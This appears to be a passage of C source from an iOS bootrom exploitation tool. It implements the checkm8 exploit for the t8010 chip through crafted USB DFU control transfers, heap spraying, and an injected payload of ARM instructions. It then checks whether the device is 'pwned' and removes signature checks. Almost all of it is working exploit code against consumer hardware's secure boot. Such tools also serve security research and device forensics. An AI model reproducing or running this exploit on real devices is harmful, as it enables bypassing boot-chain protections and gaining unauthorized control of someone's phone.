    *(uint64_t*)(wBuf1+16) = write1;
    *(uint64_t*)(wBuf1+24) = dfu_image_base + 16 + (3 * 8);
    *(uint64_t*)(wBuf1+32) = 9*4;
    *(uint32_t*)(wBuf1+40) = INSN_MOVZ_W1_1;
    *(uint32_t*)(wBuf1+44) = INSN_STRB_W1_SP_249;
    *(uint32_t*)(wBuf1+48) = INSN_STRB_W1_SP_251;
    *(uint32_t*)(wBuf1+52) = INSN_STRB_W1_SP_253;
    *(uint32_t*)(wBuf1+56) = INSN_NOP;
    *(uint32_t*)(wBuf1+60) = INSN_NOP;
    *(uint32_t*)(wBuf1+64) = INSN_NOP;
    *(uint32_t*)(wBuf1+68) = INSN_NOP;
    *(uint32_t*)(wBuf1+72) = INSN_NOP;
    
    *(uint32_t*)(wBuf2+ 0) = MEMC;
    *(uint32_t*)(wBuf2+ 4) = MEMC;
    *(uint64_t*)(wBuf2+16) = write2;
    *(uint64_t*)(wBuf2+24) = dfu_image_base + 16 + (3 * 8);
    *(uint64_t*)(wBuf2+32) = 1*4;
    *(uint32_t*)(wBuf2+40) = INSN_NOP;
    
    // send
    LOG("[%s] reconnecting", __FUNCTION__);
    io_reconnect(&client, 5, DEVICE_DFU, USB_RESET|USB_REENUMERATE, false, 1000);
    if(!client) {
        ERROR("[%s] ERROR: Failed to reconnect to device", __FUNCTION__);
        return;
    }
    
    LOG("[%s] write1 setup", __FUNCTION__);
    result = usb_ctrl_transfer(client, 0x21, 1, 0x0000, 0x0000, blank, 16);
    DEBUGLOG("[%s] write1 (1/4) %x", __FUNCTION__, result.ret);
    result = usb_ctrl_transfer(client, 0x21, 1, 0x0000, 0x0000, NULL, 0);
    DEBUGLOG("[%s] write1 (2/4) %x", __FUNCTION__, result.ret);
    result = usb_ctrl_transfer(client, 0xa1, 3, 0x0000, 0x0000, blank, 6);
    DEBUGLOG("[%s] write1 (3/4) %x", __FUNCTION__, result.ret);
    result = usb_ctrl_transfer(client, 0xa1, 3, 0x0000, 0x0000, blank, 6);
    DEBUGLOG("[%s] write1 (4/4) %x", __FUNCTION__, result.ret);
    
    LOG("[%s] sending payload", __FUNCTION__);
    result = usb_ctrl_transfer(client, 0x21, 1, 0x0000, 0x0000, wBuf1, 76);
    DEBUGLOG("[%s] write1 (1/2) %x", __FUNCTION__, result.ret);
    result = usb_ctrl_transfer(client, 0xa1, 2, 0xffff, 0x0000, NULL, 0);
    DEBUGLOG("[%s] write1 (2/2) %x", __FUNCTION__, result.ret);
    
    LOG("[%s] reconnecting", __FUNCTION__);
    io_reconnect(&client, 5, DEVICE_DFU, USB_RESET|USB_REENUMERATE, false, 1000);
    if(!client) {
        ERROR("[%s] ERROR: Failed to reconnect to device", __FUNCTION__);
        return;
    }
    
    LOG("[%s] write2 setup", __FUNCTION__);
    result = usb_ctrl_transfer(client, 0x21, 1, 0x0000, 0x0000, blank, 16);
    DEBUGLOG("[%s] write2 (1/4) %x", __FUNCTION__, result.ret);
    result = usb_ctrl_transfer(client, 0x21, 1, 0x0000, 0x0000, NULL, 0);
    DEBUGLOG("[%s] write2 (2/4) %x", __FUNCTION__, result.ret);
    result = usb_ctrl_transfer(client, 0xa1, 3, 0x0000, 0x0000, blank, 6);
    DEBUGLOG("[%s] write2 (3/4) %x", __FUNCTION__, result.ret);
    result = usb_ctrl_transfer(client, 0xa1, 3, 0x0000, 0x0000, blank, 6);
    DEBUGLOG("[%s] write2 (4/4) %x", __FUNCTION__, result.ret);
    
    LOG("[%s] sending payload", __FUNCTION__);
    result = usb_ctrl_transfer(client, 0x21, 1, 0x0000, 0x0000, wBuf2, 44);
    DEBUGLOG("[%s] write2 (1/2) %x", __FUNCTION__, result.ret);
    result = usb_ctrl_transfer(client, 0xa1, 2, 0xffff, 0x0000, NULL, 0);
    DEBUGLOG("[%s] write2 (2/2) %x", __FUNCTION__, result.ret);
    
    LOG("[%s] reconnecting", __FUNCTION__);
    io_reconnect(&client, 5, DEVICE_DFU, USB_RESET|USB_REENUMERATE, false, 1000);
    if(!client) {
        ERROR("[%s] ERROR: Failed to reconnect to device", __FUNCTION__);
        return;
    }
    
    LOG("[%s] sending abort", __FUNCTION__);
    result = usb_ctrl_transfer_with_time(client, 0x21, 4, 0x0000, 0x0000, NULL, 0, 0);
    DEBUGLOG("[%s] (1/1) %x", __FUNCTION__, result.ret);
    
    LOG("[%s] reconnecting", __FUNCTION__);
    io_reconnect(&client, 5, DEVICE_DFU, USB_RESET|USB_REENUMERATE, false, 1000);
    if(!client) {
        ERROR("[%s] ERROR: Failed to reconnect to device", __FUNCTION__);
        return;
    }
    
    LOG("[%s] Done?!", __FUNCTION__);
    
}

int checkm8_t8010(io_client_t client)
{
    
    if(patch_payload(client) != 0) {
        ERROR("[%s] ERROR: Failed to generate payload!", __FUNCTION__);
        return -1;
    }
    
    memset(&blank, '\0', 2048);
    
    LOG_EXPLOIT_NAME("checkm8");
    
    LOG("[%s] reconnecting", __FUNCTION__);
    io_reconnect(&client, 5, DEVICE_DFU, USB_RESET|USB_REENUMERATE, false, 1000);
    if(!client) {
        ERROR("[%s] ERROR: Failed to reconnect to device", __FUNCTION__);
        return -1;
    }
    
    LOG("[%s] running heap_spray()", __FUNCTION__);
    heap_spray(client);
    
    LOG("[%s] reconnecting", __FUNCTION__);
    io_reconnect(&client, 5, DEVICE_DFU, USB_RESET|USB_REENUMERATE, false, 10000);
    if(!client) {
        ERROR("[%s] ERROR: Failed to reconnect to device", __FUNCTION__);
        return -1;
    }
    
    LOG("[%s] running set_global_state()", __FUNCTION__);
    set_global_state(client);
    
    LOG("[%s] reconnecting", __FUNCTION__);
    io_reconnect(&client, 5, DEVICE_DFU, USB_REENUMERATE, false, 500000);
    if(!client) {
        ERROR("[%s] ERROR: Failed to reconnect to device", __FUNCTION__);
        return -1;
    }
    
    LOG("[%s] running heap_occupation()", __FUNCTION__);
    heap_occupation(client);
    send_payload_no_error(client, payload, payloadLen);
    
    LOG("[%s] reconnecting", __FUNCTION__);
    io_reconnect(&client, 5, DEVICE_DFU, USB_REENUMERATE, true, 100000);
    if(!client) {
        ERROR("[%s] ERROR: Failed to reconnect to device", __FUNCTION__);
        return -1;
    }
    
    if(client->hasSerialStr == false) {
        read_serial_number(client); // For iOS 10 and lower
    }
    
    if(client->hasSerialStr != true) {
        ERROR("[%s] Serial number was not found!", __FUNCTION__);
        return -1;
    }
    
    if(client->devinfo.hasPwnd == true) {
        if(!strcmp(client->devinfo.pwnstr, "demoted")) {
            LOG("[%s] demoted!", __FUNCTION__);
            return 0;
        }
        LOG("[%s] pwned!", __FUNCTION__);
        
        rmsigcheck(client);
        
        return 1;
    }
    
    return -1;
}
